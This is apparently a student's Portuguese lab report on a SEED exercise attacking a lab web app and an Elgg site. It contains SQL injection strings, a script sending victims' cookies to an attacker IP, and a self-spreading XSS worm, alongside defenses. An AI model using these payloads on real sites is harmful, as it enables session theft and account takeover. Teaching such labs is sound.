Prática de Ataque e Defesa em Rede

Prática de Ataque e Defesa em Rede

Conteúdo da Prática

Nesta prática, exploramos dois tipos principais de ataques cibernéticos: SQL Injection e Cross-Site Scripting (XSS). Utilizamos um ambiente de laboratório SEED para realizar essas atividades.

  • Ataque SQL Injection: Testamos vulnerabilidades em uma aplicação web de gerenciamento de funcionários, focando em ataques aos comandos SELECT e UPDATE.
  • Ataque XSS: Demonstramos diferentes formas de exploração do XSS em uma plataforma Elgg, incluindo a criação de um XSS worm.

Processo da Prática

Configuração do Ambiente

Inicialmente, tivemos problemas com a instalação do SEEDUbuntu, mas resolvemos baixando uma versão correta do SEEDUbuntu 16.04.

Após a configuração, seguimos os passsos abaixo para instalar o ambiente virtual:

  1. Crie um novo sistema virtual na VMware.
  2. Selecione a opção "Custom".
  3. Escolha Workstation 14.x.
  4. Opte por "Instalar o sistema operacional mais tarde".
  5. Selecione Linux como sistema operacional.
  6. Escolha Ubuntu como distribuição.
  7. Atribua 2 núcleos de CPU e 2048MB de RAM.
  8. Configure a rede como NAT.
  9. Escolha LSI Logic como controlador SCSI.
  10. Adicione o disco rígido existente SEEDUbuntu-16.04-32bit.vmdk.

Ataque SQL Injection

Familiarização com SQL

Utilizamos o MySQL para consultar um banco de dados chamado Users, contendo informações de funcionários. Exemplos de comandos utilizados:

mysql -u root -p
use Users;
show tables;
select * from credential;
select * from credential where Name='Alice';

Ataque ao SELECT

Identificamos uma vulnerabilidade no formulário de login, permitindo a execução de SQL Injection através da manipulação dos parâmetros GET. Exemplo de payload:

' OR '1'='1

Ataque ao UPDATE

Testamos a modificação de dados através de uma injeção SQL no formulário de edição de perfil do usuário. Payload utilizado:

', salary='2827' where Name='Samy';#

Defesa contra SQL Injection

Implementamos defesas utilizando prepared statements no PHP para evitar injeções SQL:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

Ataque XSS

Descrição do Ataque

Realizamos diversos ataques XSS no Elgg, incluindo a exibição de mensagens, roubo de cookies e criação de um XSS worm.

Exibição de Mensagem

Inserimos um script JavaScript na descrição do perfil para exibir uma mensagem quando alguém visitasse o perfil:

<script>alert("20242827");</script>

Roubo de Cookies

Modificamos o script para enviar os cookies do usuário para um servidor controlado pelo atacante:

<script>document.write('<img src=http://192.168.200.68:1921?c=' + escape(document.cookie) + '>');</script>

Criação de um XSS Worm

Desenvolvemos um worm que se espalha automaticamente entre os usuários:

<script id="worm" type="text/javascript">
window.onload = function(){
    var headerTag = "<script id='worm' type='text/javascript'>";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>";
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    var userName=elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var content= token + ts + "&name=" + userName + "&description=<p>20232822mali"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
    var samyGuid=44;
    if(elgg.session.user.guid!=samyGuid){
        var Ajax=null;
        Ajax=new XMLHttpRequest();
        Ajax.open("POST",sendurl,true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

Defesa contra XSS

Habilitamos o plugin HTMLawed no Elgg para sanitizar entradas e prevenir ataques XSS.

Problemas Encontrados e Soluções

  • Problema 1: Erro ao modificar arquivos PHP. Solução: Alterar permissões para modo administrativo.
  • Problema 2: Problemas na configuração do ambiente. Solução: Baixar e instalar a versão correta do SEEDUbuntu.
  • Problema 3: Falha ao adicionar código JavaScript no campo About Me. Solução: Utilizar o modo Edit HTML para inserir scripts.

Tags: SQLInjection XSS Elgg SEEDLab

Publicado em 9-22 06:04